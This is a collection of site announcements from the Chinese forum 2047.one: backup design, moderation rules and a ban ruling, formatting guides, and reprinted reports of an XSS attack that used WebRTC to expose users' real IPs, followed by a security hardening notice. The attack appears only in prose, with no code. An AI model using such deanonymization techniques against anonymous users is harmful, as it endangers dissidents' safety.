    2. 打包后的数据会被服务器上的一个PGP公钥加密;

    3. 2047的服务器上运行着一个onion服务,加密后的备份数据会通过此onion服务,发送到若干台异地的服务器上。

    用来异地保存备份的服务器,和2047的主服务器的身份相互隔离。也就是说,2047的主服务器不知道备份服务器的IP地址,备份服务器也不知道主服务器的IP地址。这样,即使主服务器或备份服务器之一被攻陷,该服务器也无法威胁到其他主机。

    备份服务器有多台,并且散布在不同的地理位置,因此最大限度的避免了单点故障。打个比方,除非发生全球级别的灾难,否则多台备份服务器因不可抗力失效的可能性极低。

    此外,加密保存可以极大缓解多点备份导致数据泄露的隐患。万一备份服务器被攻陷,由于2047的备份被高强度加密,即使有人拿到备份,也无法解密其中的敏感信息。

  24. 47小管家   在小组 站务 发表文章

    2047意见反馈和bug报告楼

    近期2047技术组在进行代码重构工作,界面可能会有一些变动。在此期间如果您遇到任何使用上的不便,或者对2047开发工作有建议,欢迎在此楼下提出。

  25. 47小管家   在小组 站务 发表文章

    【意见征集】网站功能改动:禁止删除楼下的评论(已恢复)

    改动描述

    楼主不再可以删除自己帖子下其他人的评论,若遇到违规行为,可私信通知管理员@47小管家处理。

    改动理由

    先前发生了若干起楼主滥用删评功能、恶意无差别地删除自己楼下所有评论的事件(例子,楼主删除了楼下所有的网友回复,包括很多认真友善的、并不离题的回复,目前部分评论已恢复)。

    原则上说,帖子下的评论和回答,是评论贡献者的个人资产。2047网友有不少高质量的评论和回答,可以对很多中文世界中反复出现的观点,提供独特的解读。无故删除帖子下的大量评论,对于认真回复的评论贡献者并不公平,也会造成高质量内容的损失。

    为了保护评论贡献者的权利,暂定取消楼主删评功能一周,以观察效果。无意义灌水、人身攻击、恶意歪楼引战等违反2047行为倡议的评论仍然会被隐藏,楼主也可以投诉删除违规评论。

    在此期间,如果您对这一功能改动有任何意见或建议,欢迎在本楼下反馈。

    改动测试时间

    4月7日至4月14日

  26. 47小管家   在小组 站务 发表文章

    封禁规则

    2047尽量不封禁任何真诚交流的用户,只有以下仅有的几种情况会导致封禁并显示“此用户已经被封禁”页面:

    1. 用户主动要求注销;

    2. 用户发布儿童色情内容;

    3. 用户被认为是持续出没的破坏者(long-term abusers);

    4. 用户使用自动程序发布同样的内容。

    如果认为管理员的封禁操作不合适,可私信 47小管家 进行申诉。

  27. 47小管家   在小组 站务 发表文章

    Albert_Ong v. 2047

    根据2047.one《基本法》用户若对管理的站务处理有异议,并有两位或以上超管愿意受理,则由超管进行内部会议做出最终决定,特此公告。

    @Albert_Ong 针对你的指控是:用语不礼貌,在讨论中多次使用发泄性的,不文明的用词,言语带有攻击性,在管理警告之后仍然没有改善,适合封禁。

    The court will take no witnesses and hear no oral arguments.

    经超管内部会议,决定:维持原判,封禁Albert_Ong (3-1):

    • Majority(3): 讨论方式不符合《行为倡议》第一条和第三条。Albert_Ong在2047的55条发言里,老鼠一共上桌了7次,白左了8次,左疯了两次,暴民出现了6次

    • Concurrence(1):自由可以用来开贴喷人,我们对这个比较宽松,哪怕是人身攻击都好说话,大不了帖子扔垃圾桶。但是别人帖子下回帖,是客人,客随主便。(不应在别人的帖子下面使用攻击性的辩论方式)

    • Concurrence(1):我的倾向是至少封号几日(参之前虫文门例),之后如果用户愿意友善交流再说。

      此用户的问题是:1.在其他人楼下发言尤其是发表反对意见时语气不友好。2047倡议有强烈反对意见应该自己开贴。如果楼主并非持此立场,那么可以礼貌地提出反对,或者自己开贴表达强烈反对。2.反复使用“左疯”等词意在发泄(同理,如果一个左派每天喊“右疯法西斯”我们也不赞同)。

      举例,如果用户这样回贴就没有问题:“一个人要是认为你世界公民的身份大于某个国家某个民族的身份,那他是把自我利益置于国族认同之上(而非说人是有奶就是娘的老鼠上桌,尤其是楼主本人看来是赞成世界公民概念的)。”“乳透社19年以前还行,后来和白豆沙、蛙蛤蛤一起左倾质量就越来越差。我印象中最深的就是某个视频称内蒙为“南蒙古”,让我非常反感。(而非使用逆民左派恬不知耻这些词,尤其是楼主本人显然支持乳透社)”

      举例,这个回帖就没有不尊重楼主的问题:“女权只要权利不要义务,古今中外都如此。你别看她们说同工同酬,你真要她们跟男性工人一起去工地搬砖去矿井挖煤,99%的小仙女都不愿意。Feminism is cancer,period.”因为楼主并没有表达支持女权主义的倾向(但是这个回帖有点离题)。这个回帖也没事:“波士顿那五个死者,就是现在横行美国的ANTIFA,BLM的前身,极左暴徒。你要不信你现在就去冲击波士顿市政厅,看看现在的美国警察能给你身上开多少枪”这是他自己的帖子下的,没有攻击用户。如果同样的回帖在某个赞成blm的帖子下发就不合适。

    • Dissent(1):Albert_Ong 的发言有一些Novelty和价值,不属于无脑的喷子。所以建议删除其言论的冒犯性部分,不支持封禁。

  28. 47小管家   在小组 站务 发表文章

    投票功能已修复,现在可以在帖子内投票了

    投票的示例如下:


    怎样发起投票

    1. 点击右侧常用链接一栏的发起投票(手机用户请翻到页面下方)。

    2. 参考下面投票已有的格式,填写投票选项。例如本投票的格式是:

    你最喜欢的数字是(多选)
    ##writein=, maxchoices=3
    $3
    $5
    $7
    $9
    

    3. 把投票的ID写在帖子里,帖子里就会显示投票。

    在文章中插入投票的格式为#poll+投票id。例如投票id是38311091,那么另起一行,输入#poll38311091即可在文章中插入投票。格式如下:

    #poll38311091
    
  29. 47小管家   在小组 站务 发表文章

    Markdown语法参考

    2047的帖子和回复使用Markdown语法。Markdown在普通文本的基础上增加了一些特殊记号,使用这些记号可以做出代码高亮、加粗、斜体、列表等特殊文字效果。

    1. 另起一段

    要另起一段,需要在两个自然段之间输入空行。例如:

    这是第一段
    
    这是第二段
    

    最终效果:

    这是第一段

    这是第二段






    2. 输入空行

    要输入多个空行,需要另起一行并输入<br>。例如:

    这是第一段
    <br>
    <br>
    <br>
    <br>
    这是第二段
    

    最终效果:

    这是第一段



    这是第二段






    3. 输入有序列表

    要输入带序号的列表,需要在一个自然段前加上数字+英文句点,并空一格。例如:

    1. 这是第一项
    1. 这是第二项
    1. 这是第三项
    

    最终效果:

    1. 这是第一项
    2. 这是第二项
    3. 这是第三项

    数字不必有序,Markdown会自动把数字转换成有序序列。如果不想让Markdown做转换,可以在英文句号前加反斜杠,关闭Markdown语法。例如:

    1\. 这是第一项
    
    1\. 这也是第一项
    
    1\. 这还是第一项
    

    最终效果:

    1. 这是第一项

    1. 这也是第一项

    1. 这还是第一项






    4. 输入无序列表

    在 Markdown 语法中要输入不带序号的列表,需要在一个自然段前加上*或者-。例如:

    * 这是第一项
    * 这是第二项
    * 这是第三项
    

    最终效果:

    • 这是第一项
    • 这是第二项
    • 这是第三项





    5. 混合列表

    Markdown可以输入多层列表。例如:

    * 这是第一项
    	1. 第一项
    	1. 第二项
    * 这是第二项
    	- 第一项
    	- 第二项
    * 这是第三项
    

    最终效果:

    • 这是第一项
      1. 第一项
      2. 第二项
    • 这是第二项
      • 第一项
      • 第二项
    • 这是第三项





    6. 引用

    要输入引用,需要在每一个引用的自然段前加>,并空一格。例如:

    > 我想在一切终结的时候,能够像一个真正的诗人那样说:我们不是懦夫,我们做完了所有能做的。
    >
    > ——阿莱杭德娜·皮扎尼克 
    

    最终效果:

    我想在一切终结的时候,能够像一个真正的诗人那样说:我们不是懦夫,我们做完了所有能做的。

    ——阿莱杭德娜·皮扎尼克

    7. 代码

    要输入代码,可以用三个连续的反引号```把输入括起来。在反引号后加上编程语言名称,可以实现代码高亮效果。例如:

    def foo(x, y):
        return x + y
    





    8. 超链接

    不带文字的超链接,可以在用尖括号括住链接;带文字的超链接,可以用[文字](链接)的格式。例如

    <https://2047.one>
    
    [2047](https://2047.one)
    

    链接需要在前面加上https://,如果没有加此记号链接不会被解析。

    最终效果:

    https://2047.one

    2047






    9. 图片

    插入图片的方法和插入超链接类似,2047目前支持引用telegra.ph、imgur、wikimedia、twitter、youtube、web.archive.org的图片。

    具体请参见传图指南






    10. 其它文字效果

    # 一级标题
    ## 二级标题
    ###### 六级标题
    
    **加粗**
    
    ~~删除线~~
    
    *斜体*
    





    11. 2047支持的特殊语法

    向某人发送提醒:

    跳转到回复:

    • <#"6334126"> (删掉双引号)
      

      #6334126

    用双美元符号$$括住\( \LaTeX \)语句,可以输入独占一行的数学公式:

    $$ E = mc^2 $$

    \\(\\)括住\( \LaTeX \)语句,可以输入行内数学公式: \( a + b \)




    以上指南涵盖了大多数常用的markdown功能,如果想了解某个帖子中的文字效果是怎样编写的,可以点击“源码”按钮查看此帖子的Markdown源码。

    如果想进一步了解Markdown,可以参考https://commonmark.org/helphttps://github.com/younghz/Markdown

  30. 47小管家   在小组 站务 发表文章

    2047现已支持RSS,欢迎订阅2047全站RSS推送

    2047的RSS订阅链接在:

    https://2047.one/feed

    目前,2047的RSS使用HackerNews排序,致力于推送最新的高质量内容。您可以使用ThunderBird、FeedBro、Reeder 4(MacOS)等RSS客户端订阅本站。

  31. 47小管家   在小组 站务 发表文章

    2047现已支持用LaTex输入数学公式

    使用方法

    1. 行内公式用\\(\\)括住表示,例如:

    若函数 \( f(x) \)在点 \( x_0 \) 的某个邻域上解析,则称\( f(x) \)在点 \( x_0 \)处解析。


    2. 独占一行的公式用一对美元符号$$括住表示,例如

    波动方程:

    $$ \frac{\partial^2u}{\partial t^2} - a^2 \nabla^2 u = f $$


    高斯分布:

    $$ \frac{1}{\sqrt{2\pi}\sigma}e^{-\frac{x^2}{2\sigma^2}} $$

  32. 47小管家   在小组 2047 发表文章

    【大纪元新闻节选】中共严控网络舆论延伸海外 2047论坛被黑

    按:大纪元新闻略长,本文节选与2047有关部分。

    原文

    2047论坛遭中共黑客攻击 站长失联

    今年年初,墙外论坛2047BBS遭到据信由中共黑客主导的网络攻击,一度下线。站长thphd自1月7日网站下线后失联至今,据该站管理层研判很可能已遭中共当局抓捕。

    2047论坛一名管理员向记者讲述了原站长失联以及网站被攻击的前后,他们认定这次攻击来自中共警方。

    管理员孟先生告诉大纪元记者,2049BBS于2020年7月中旬下线,服务器被关停。2047论坛于2020年7月26日上线,部分管理员是2049BBS的老用户。“2047延续了2049BBS自由与分享的精神,包含了2049BBS的所有内容。2047的意思是2049-2,2即小二,蔡伟的网名。”

    “thphd说过,如果没有2049BBS这个有生命、有温度的记忆载体,大家就无法了解,更重要的是无法同情,于是很快就会忘记,蔡(伟)同学曾经存在过。”

    孟先生介绍,2021年12月底,有黑客针对2047.name进行了网络攻击。黑客利用了2047处理Youtube链接排版时的一个技术漏洞,导致几条留言被植入了网页代码。此代码会利用浏览器的网页即时通信(WebRTC)绕过代理获取浏览此留言者的真实IP。

    “在发现黑客攻击目的之后,thphd意识到自己的IP地址泄露,因此向我们转交了域名,并与我们商议每日互报平安。2020年1月8日我们发现2047.name网站下线,thphd失联至今。” 孟先生强调,有七点理由认定此次攻击为中共政府主导:

    一、攻击的专业程度高。黑客有很强的伪装意识,熟悉XSS攻击技巧,对攻击代码和其中嵌入的链接进行了加密和混淆,因此攻击持续一周才被发现。这些手段并非资浅的技术人员能够做到。

    二、攻击消耗的人力大。黑客研读了2047.name开源的大部分代码,才得以定位此次Youtube链接排版的漏洞。

    三、攻击消耗的物力大。黑客为了攻击2047BBS,提前搭建了多个攻击平台,钓鱼代码中嵌入的链接就指向这些平台。黑客会把信息发送到cnzz网站(站长统计网),cnzz是阿里巴巴的子公司,必须实名注册。这显示此次攻击很可能是为了境内利益而服务。

    四、这次攻击已有前兆。2047.name在2021年10月左右即受到一波HTTP DDoS攻击,其中部分IP地址来自中国和香港腾讯。由于2047BBS在中国已被封锁,因此来自中国的IP就非常可疑。

    五、攻击波及2047子站拜登论坛(h.2047.name)。此论坛也在10月遭到香港金克斯科技(Jinx Co.)下属IP地址的DDoS攻击。且攻击者的IP地址和在2047发布XSS代码用户的IP地址相同,显然来自同一人或组织。

    六、有陌生IP登录2047.name的服务器。在thphd失联24小时内管理员修改了这台服务器的密码。然而,服务器登录日志显示,当天有多个来自香港腾讯云的陌生IP地址登录。这些IP地址很可能属于警方。

    七、2047.name遭到了入侵尝试。有不明人士向域名商以及所绑定邮件的邮件运营商提交了身份相关信息,试图进行实名认证以获取2047.name域名的控制权。

    中共控制网络舆论 延伸境外

    陈闯创认为,一些年轻人海外建立了比较活跃的网站,他们自己也想认识一下真相。但是并没有站出来表达实际的政治态度或者政治行为。“所以我觉得这是个好事儿,就是有这样一个平台可以让他们发泄一下,说说话。”

    据他猜测,网信办这样大规模的清理行动和2047论坛受攻击应该是有关系的。“但是这种事情他们肯定是保密、不敢讲的。”

    孟先生介绍,无论是已下线的2047.name与目前上线的2047.one,宗旨都是建设理性、友善、不受中共言论审核影响的高质量中文社区。论坛的话题广泛,除了政治经济话题,用户还参与文化、生活、技术等话题的讨论。作为墙外的匿名社区,用户可以在2047对国内无法正常讨论的“敏感”内容畅所欲言。

    他表示,出于安全考虑,2047网站的管理员都保持匿名,互不知道身份和所在地。在这次网站被攻击之前,thphd一直称自己身在国外,然而,他的失踪和疑似被捕显示了他很可能在国内。

    针对国内大规模约谈及关闭网站的情况,孟先生认为中共关闭墙内网站与2047被攻击没有直接关系。他指出,2047作为中国境外匿名注册的网站,不受中共网信系统控制,但是中共对网络舆论的控制日益严厉。他们为了控制境外的中文网站,采取非常规手段,本次黑客攻击和对网站主要成员的失联就是实例。

    他最后表示,“我们认为这次攻击是中国(中共)政府舆论管控在境外的延续。但是这类攻击对网站的影响有限。从2049BBS开始,网站运营就采取‘匿名+开源+开放’模式,即成员高度匿名、代码全部开源、非敏感数据全部开放。即使有核心成员失联,其他人也能接手数据和代码,把网站继续运行下去。”

  33. 47小管家   在小组 站务 发表文章

    【最新消息】请各位使用2047.one访问本站,name域名因为安全因素即将弃用

    最近几天,我们发现了针对2047.name域名的入侵。我们的旧域名账户遭到了不明人士的举报,并且账户被域名商锁定,当我们向域名商申诉解锁时,被告知要提交实名信息才能解除锁定──我们认为向域名商提交身份,风险极高,因此我们不会配合他们的要求。

    与此同时,与该域名账户绑定的邮箱也收到了重置密码的请求。根据邮箱运营商给我们的答复,要求重置邮箱密码的不明人士,提交了自己的身份信息,因此邮箱运营商将可能在未来一段时间里,把邮箱所有权转移给此不明人士。

    我们认为这些行为的目的在于控制2047.name域名。遗憾的是,当初2047.name站长选用的域名商并非主打匿名和隐私的域名商,只要有人向此域名商提交自己的真实身份并通过认证,就可以控制某个匿名账户下的域名。由于原2047站长thphd已经大概率被中国警方抓捕,我们认为中国警方很有可能会首先控制域名绑定的邮箱,再向域名商提交他的真实身份,从而获取域名的控制权。我们会尽力与域名商交涉,确保旧域名name的安全。

    2047.one非常安全,大家可以放心。我们现在的域名通过离岸公司注册,它不受中国境内法律约束,在中国没有利益牵涉,在匿名和隐私方面也有良好的声誉。因此,我们强烈推荐您通过新域名2047.one来访问本站。

  34. 47小管家   在小组 2047 发表文章

    【博闻社特稿】墙外论坛2047BBS遭网络攻击一度下线,站长失联疑似被捕

    按:新闻媒体“博闻社”记者对本站的管理人员就近期网站下线及站长失联一事进行了采访。下文为新闻正文。点此查看博闻社原文

    【博闻社特别报道】近日,继承了由“端点星案”被捕者陈玫、蔡伟管理的2049BBS的墙外论坛2047BBS遭到据信由中共黑客主导的网络攻击,一度下线。尽管该论坛的部分老用户以2047BBS(原域名为2047.name)的旧数据库为基础更换域名为2047.one重新开站,但2047.name的站长thphd自1月7日网站下线后失联至今,据该站管理层研判很可能已遭中共当局抓捕。博闻社特约记者采访了2047.one管理团队中的一名管理员孟先生(此为化名),了解到了事件的更多细节。

    据孟先生介绍,2047.name在2021年12月底(大约从12月20日到12月27日之间)遭到了一次黑客攻击。“黑客利用了2047处理Youtube链接排版时的一个技术漏洞,导致几条留言被植入了网页代码。经检查发现,此代码会利用浏览器的网页即时通信(WebRTC)绕过代理获取浏览此留言者的IP。以前我们遭受过其他类的网络攻击,但此类网络攻击尚属首次。站长thphd及时修复了漏洞并清除了黑客植入的代码。”

    2047.one站方判定此次网络攻击由中共当局支持的黑客主导,孟先生也就此向博闻社特约记者给出了五点具体理由:

    “第一,这次攻击的专业程度高,黑客有很强的伪装意识,并且熟悉XSS攻击的常见技巧,这些手段并非资浅的技术人员能够做到。黑客对攻击代码和其中嵌入的链接进行了混淆,这也正是此漏洞持续一周才被发现的原因。

    第二,这次攻击消耗的人力大。2047的功能很多,开源的代码有10000多行,从中找出漏洞是非常费时费力的事情。对方研读了2047.name开源的大部分代码,才得以定位这个漏洞。

    第三,这次攻击消耗的物力大。对方为了攻击2047BBS,有计划地提前搭建了多个攻击平台。我们事后发现钓鱼代码中嵌入的链接就指向这些平台。

    特别地,站方在攻击代码中还发现黑客会把信息发送到cnzz(站长统计网),cnzz是阿里巴巴的子公司,必须实名注册才能使用其服务。显示黑客并不在意在境内是否实名,此次攻击很可能是为了境内利益而服务。

    第四,2047.name在2021年10月左右即受到一波HTTP DDoS攻击,其中部分IP地址来自中国和香港腾讯。由于2047BBS在中国已被封锁,因此来自中国的IP就显得非常可疑。我们猜测10月的DDoS攻击可能是这次攻击的前奏。 第五,拜登论坛(h.2047.name)作为2047的子站,也在10月份遭到香港金克斯科技(Jinx Co.)下属IP地址的DDoS攻击,并且在12月27日-30日遭到入侵,黑客使用了NodeBB 1.18.4的提权漏洞,获得了管理员权限,并在页面上放置了类似的攻击脚本。且攻击者的IP地址和在2047发布XSS代码的用户的IP地址相同。”

    孟先生还向博闻社特约记者介绍了2047.name站长thphd失联的具体情况:“在发现黑客攻击之后,thphd意识到自己的IP地址可能被泄露,为了以防万一,他交代管理团队做好接手后台的准备。在1月7日,我们发现thphd失联并且网站下线。我们并不确定站长的位置,然而根据种种迹象来看,他失联前很有可能在中国国内。目前我们并无他的最新消息,但他很可能已经遭到中共当局的抓捕。”

    至于外界关心的网站安全问题,孟先生表示:“站长thphd失联之后,我们大幅加强了论坛的安全措施,其中包括添加内容安全策略(Content Security Policy)以防御跨站脚本攻击(12月底遭到的黑客攻击就是一次跨站脚本攻击)。目前新添加的安全特性,可以永久杜绝此类问题再次发生。”

    有长期关注中国网络自由的分析人士对博闻社指出,随着中共收紧网络管控,中国大陆异议人士被噤声甚至被失踪的事情层出不穷,中共黑客对海外独立中文网站的攻击也愈发猖獗,这既需要国内网民做好安全上网的自我保护措施,也需要国际正义力量的关注和支援。

  35. 47小管家   在小组 2047 发表文章

    测试发帖

    内容已隐藏
    内容已被作者本人或管理员隐藏。 如有疑问,请点击菜单按钮,查看管理日志以了解原因。
  36. 47小管家   在小组 站务 发表文章

    2047.one功能改版,以及网友常见问题答疑

    是谁在运营2047.one?

    2047.one现在由原2049BBS和2047.name的老用户运营。自成立以来,2047一直遭到来自中国境内的猛烈网络攻击,由于本站的前两任站长均遭到中国当局抓捕疑似抓捕,考虑到运营网站的高度风险,我们决定不对外公开网络身份,希望大家理解。

    2047现管理团队的决策方式是怎样的?

    2047现管理团队通过民主投票进行集体决策,具体运作方式见2047基本法2047行为倡议和管理员守则

    你们为什么如此肯定thphd被中国当局抓捕?

    在2021年12月底,我们发现了针对2047的网络攻击。根据这次网络攻击的专业性看,我们和thphd认为,此次攻击是由政府主导的黑客攻击。在发现黑客攻击之后,thphd意识到自己的IP地址已经被当局发现,鉴于此,我们商议和thphd每日互报平安。在1月7日,我们发现thphd失联并且网站下线。thphd失联至今。2022年1月底,我们发现了对于2047.name域名与相关邮箱的入侵企图。种种迹象表明thphd已经被当局抓捕。

    其它关于thphd本人的问题,由于涉及他的隐私,我们不便回答,希望大家理解。

    你们为什么有2047的老域名和数据库?

    thphd在12月底发现黑客攻击之后,向我们转交了域名和数据库。

    为什么2047下线期间“拜登”论坛还能继续运行?

    2047.name的网络架构较为复杂,数据会在多个服务器之间转发。2047主服务器下线,不影响其它服务器转发流量,因此“拜登”论坛一直在线。

    为什么2047下线后最初显示thphd写的公告?

    中继服务器检测到2047主服务下线就会自动显示这个公告,无须人为干预。

    2047的品葱主题和膜乎主题去哪儿了?

    使用品葱主题和膜乎主题是2047.name站长的个人决定。现在品葱主题和膜乎主题已经下线,并且未来也不会再使用。

    和name相比,2047.one的管理理念是否有变化?

    2047.one的管理原则基于2047行为倡议。我们的宗旨是建设理性、认真、友善的高质量中文社区。在保证质量的前提下,我们不对观点做区分对待。

    2047移动帖子的标准是什么?

    1. 不符合2047主区质量标准的帖子,可能会被移动到水区或“无人区”分区。例如:
      • 未经认真思考的提问:“中国人为什么让人讨厌?”
      • 纯粹的情绪宣泄:“哪个死妈管理员把老子的帖子转水啊”
      • 难以理解的标题和内容:“中华民族理论的奠定者之一康有为子,他噶就说过我们黄种人要进行人种改良噶……”
      • 含有大量事实错误的帖子:“莲花清瘟可以治疗艾滋病”。
      • 其它判例可参见“无人区”分区。
    2. 不符合2047主区质量标准的、针对本站或外站人和事的大字报,可能会被移动到“江湖”分区。

    2047的新用户是否需要答题或报道?

    不需要答题或报道。不过,目前出于防止自动程序刷屏的需要,注册仍然需要完成hCaptcha。新用户发帖有频率限制,在积累够一定数量的赞后,频率限制即自动解除。未来我们可能会适度调整规则。

    2047的代码是否开源?

    目前2047仍在对老代码进行大规模的加固和重构,因此其内部接口可能不稳定。待重构完成后,我们就会开源全部代码。

    2047是否有数据备份计划?

    目前2047的数据会每日异地备份1-2次,待代码稳定后,我们还会在GitHub公开备份2047的数据,类似于https://2049bbs.github.io。未来我们计划将站内精华贴上载到ipfs或区块链,让您的作品在互联网上永久保存。

  37. 47小管家   在小组 站务 发表文章

    2047现已添加内容安全策略,目前理论上免疫一切网页脚本攻击

    最近一段时间我们大幅加强了2047的安全措施,其中包括添加内容安全策略(Content Security Policy)以防御跨站脚本攻击。12月底2047遭到的黑客攻击就是一次跨站脚本攻击,目前新添加的安全特性,可以永久杜绝此类问题再次发生。

    内容安全策略本质上是一个资源白名单。2047除了禁止网页内嵌脚本和跨站脚本执行,还对其它资源加载做出了限制:

    • 图片:只允许telegra.ph、imgur、WebArchive、和推特图床的图片加载。

    • 视频:只允许youtube链接。

    如果您希望把其它安全的图床添加进白名单,欢迎在本贴下面留言。

  38. 47小管家   在小组 站务 发表文章

    2047站务处理楼

    对站务操作的投诉请到这里。

    如原账号被封禁请新注册账户投诉。

  39. 47小管家   在小组 站务 发表文章

    2047.one基本法

    2047.one有多位超级管理员(简称超管),并共同作为最高决策机构。

    2047.one超管每个个人有进行站务处理的权力,包括但不限于转水,删帖,封号,等。如果受超管处理影响的当事人对处理有异议,那么可以向超管群体进行上诉(2047站务处理楼),如果有两位或以上超管愿意接受上诉,那么超管会进行内部会议,作出决定,并由Admin账号公开投票结果和会议记录,其中的敏感信息会以密文的形式公开,在未来公告解密的方式。

    普通管理员(简称普管)会由超管集体任命,普管有进行站务处理的权力,包括但不限于转水,删帖,封号,等。如果受普管处理影响的当事人对处理有异议,可以向超管进行上诉,一位超管会决定维持或者推翻原判,这个决定成为他进行的站务处理。

    一切涉及站务的更改会由超管进行内部会议,会议的记录会由Admin账号公开,其中的敏感信息以密文的形式公开,在未来公告解密的方式。

  40. 47小管家   在小组 站务 发表文章

    2047.one新手指南

    欢迎大家来到2047。

    【基本规则】

    • 如果您尝试遵守上方所提及的品葱行为倡议,那么您应该不会在2047遇到很大的问题或纠纷。

    • 管理员的操作遵守基本法,实际操作上会很大程度依照先例和之上提及的行为倡议。参考: 2047.one基本法

    • 楼主可以删除自己楼下的发言。管理员鼓励楼主自己审核自己楼中的内容,并会在绝大多数情况下尊重楼主的处理。管理员的管理范围更侧重于楼间的关系,,楼与板块之间的关系,和楼的存在与否。当然在楼主的缺乏下,管理员会介入楼中的管理。

    • 如遇楼主审核,管理员建议用户自己开新帖给予反驳。

    • 2047拥有黑名单功能,请参考: 新功能:黑名单(已更新,操作简化)

    • 个人信息泄露的,经用户申请,可以由管理员进行删除。

    • 用户的操作包括: 发帖,回复,点赞,私信,关注,屏蔽。新帖和近评可以看到最新的帖子和回复

    • 管理员可以将低质量的帖子转移到水区,可以选择高质量的帖子置顶。

    • 关于站务的建议或投诉只应该发在站务区。

    • 本站官方Matrix群: teahall:matrix.org,建议加入matrix的时候不使用自己的常用邮箱,而是使用fake mail generator产生的临时邮箱。

    待更。希望您能在本站有所收获。

  41. 47小管家   在小组 2047 发表文章

    测试233456

    内容已隐藏
    内容已被作者本人或管理员隐藏。 如有疑问,请点击菜单按钮,查看管理日志以了解原因。
  42. 47小管家   在小组 站务 发表文章

    关于1月8日至1月15日下线情况的说明

    公告

    我们是原2049BBS和2047.name的管理员。2047.name在12月底遭到了一次黑客攻击,根据这次攻击的专业程度判断,我们认为这次攻击是中国政府组织的行动。这次攻击利用了浏览器的WebRTC功能获取用户代理之后的IP,不过,如果您使用了Tor浏览器,那么这次攻击对您没有影响。

    不幸的是,原2047站长thphd在安全方面较为疏忽大意,他未严格按照安全规范,全程使用tor浏览器操作。这次攻击造成了他的ip地址泄露。1月8日左右,thphd与其他管理员失去联系,现已失联一星期。根据各种迹象推测,我们认为thphd很有可能已经被中国警方控制。

    在假设thphd人身被控制的前提下,他掌握的部分私人通讯内容和原2047.name的日志可能泄露。请大家以此为前提检视自己的安全措施。如果认为自己的账号有信息泄露风险,我们建议您更换用户名并重新注册新的账号,有泄漏身份可能性的人请做好电子痕迹清除,并且防范喝茶。

    我们在这里代替thphd向各位用户为这次的事故道歉。在管理员接管后台后,我们出于安全考虑暂时下线了网站,并进行了代码审计和加固。出于减小攻击面的原则,我们对原2047.name的代码做了大幅度删改,禁用了一部分非必要、可能带来安全隐患的功能。2047.one不记录用户账户和IP地址的对应关系,当然,出于安全考虑,我们仍然强烈建议您使用tor浏览器访问本站。

    2047.one是2049BBS和2047.name的继承者,但不是2049BBS和2047.name。我们目前的运营与thphd没有任何关系,将来也不受到他的干涉。我们从原来拥有的代码和用户数据中重建了这个网站,并会将它运行下去。您可以用您在2047.name的账号和密码来登录2047.one。

    由于我们无法确定thphd的安危,我们已将thphd的账号禁止登录。我们将持续对thphd的有关消息保持关注。

    FAQ

    Q: 我用原有2047.name的账号是否安全?

    A: 2047原数据库有泄露的可能。您需要考虑您在name时期留在47上的数据(包括私信和登录IP)是否会泄露您的私人信息。如果您的账号曾经泄露过私人信息,或有过使用非加固浏览器(注:加固浏览器如Tor browser等)注册使用2047.name的经历,我们强烈建议您重新注册账号。

    Q: 我想保留原有账号,但希望更换密码,可以吗?

    A: 2047不储存明文密码,您原有的密码在数据库中以慢哈希算法保存,**因此您的明文密码并未泄露。**若您决定继续使用原账号但担心密码被破解的风险,我们强烈建议您更改密码。

    Q: 安全起见我想换一个账号和密码,必须要再考试和新人报道吗?

    A: 重新注册账号依然需要考试。如果您是老用户,也可以在matrix大群里联系管理员索取邀请码。


    其它:关于本站的其它疑问,例如“2047现在是谁在运营”,“你们为什么有数据库?”,“2047.one比起name有什么变化?”,请参见2047.one功能改版,以及网友常见问题答疑

  43. 47小管家   在小组 2047 发表文章

    中国不能让我沉默

    纽约客/New Yorker - China Cannot Silence Me / 中国不能让我沉默

    Speaking of the crimes committed against my family and other Uyghurs in Xinjiang has sparked a surprising reaction. / 我为新疆的家人和其他维族人发声之后,中国政府的反应出乎意料

    By Nyrola Elimä

    December 21, 2021

    https://www.newyorker.com/culture/personal-history/china-cannot-silence-me

    翻译/校对 thphd


    每天早上,当我在瑞典赫尔辛堡,这个离我的家乡新疆三千英里的地方醒来时,我都会想起我的母亲,想起家乡。在我的眼睛适应光线之前,我的手通常已经伸向我的手机。对母亲安危的关注让我不由自主,因为中国政府于2017年开始在该地区的大规模拘留营中监禁约一百万人、其中大部分是维吾尔人。

    收不到她的微信的日子是最令人恐惧的。她的沉默,意味着被我们称作“亲戚”的人正在“拜访”她。和他们在一起时,她谨慎地回答着他们的问题,像一个虐待狂游戏节目的参赛者。每次“亲戚”来访,她都会精心地为这些不速之客准备食物,为每顿饭发愁:确保这顿饭既不会太过维吾尔(这可能会给这个家庭打上 "疑似极端分子 "的标签),也不会太中国(这可能会显得过于讨好)。他们吃饭时,我的父母保持沉默,任这些“亲戚”喋喋不休地谈论他们的政治信仰和他们对政府的热情。

    2009年,新疆因两名维吾尔族农民工在中国南部死亡而举行的和平街头抗议活动演变成暴乱,估计有两百人死亡。从那时起,中国共产党进行了无情的宣传,将维吾尔人污名化,说服该国大多数汉族人:所有维族人都是潜在的恐怖分子。2011年,我离开新疆到国外学习。据中国官方媒体报道,自2016年以来,超过110万名干部访问了该地区160万各族人民的家。这些来访者在没有任何警告的情况下突然闯入,只要觉得合适就会留下。他们的任务是仔细检查维吾尔人的行为,发掘任何“极端主义”的迹象。根据政府的说法,属于“极端主义”的行为和迹象,可以确定的有:讲维吾尔语;与国外的家人联系;按时祈祷。

    睡觉前,“亲戚”们仔细检查了房子的每一个房间,然后和我父母一起睡在他们的小卧室里。我父母躺在床上,亲戚们就睡在几英尺外地板上的地毯上。我母亲的思维在阴森的安静中飞速运转;太紧张了,不舒服,睡不着。当太阳升起时,她已经起来准备亲戚们的早餐。当来访者终于离开时,我母亲用最大的热情将他们护送到门口,担心不够热情可能会影响她的命运。她会站在院子边上,假装感激地挥手,直到他们消失;等到确定他们已经走了,她便冲回屋里,拿起电话,给身在瑞典的我发了一条信息:"我们很好,我们很安全。别担心。"

    这里的"我们",还包括我表妹的三个孩子--一个19岁的女孩和两个16岁和14岁的男孩。我的表妹玛伊拉-亚库夫是一名保险销售员和一名普通话教师。她今年四十四岁,已经在各种形式的拘留中煎熬了三年半。2018年3月,政府官员在没有事先通知的情况下将她带到一个营地;然后她被转移到一个审前拘留中心。在这个过程中,我一直保持沉默,以保护我的父母和我表妹的三个孩子。事后证明这是错误的,我的沉默没有起到任何作用,玛伊拉被释放了两次,然后又被重新逮捕。2020年12月12日,政府判处她六年半的监禁。最后我们才搞明白,她所犯的“错误”,是她2013年给她父母汇钱、帮他们在澳大利亚买房子,结果被中国政府认定为“资助恐怖主义活动”。

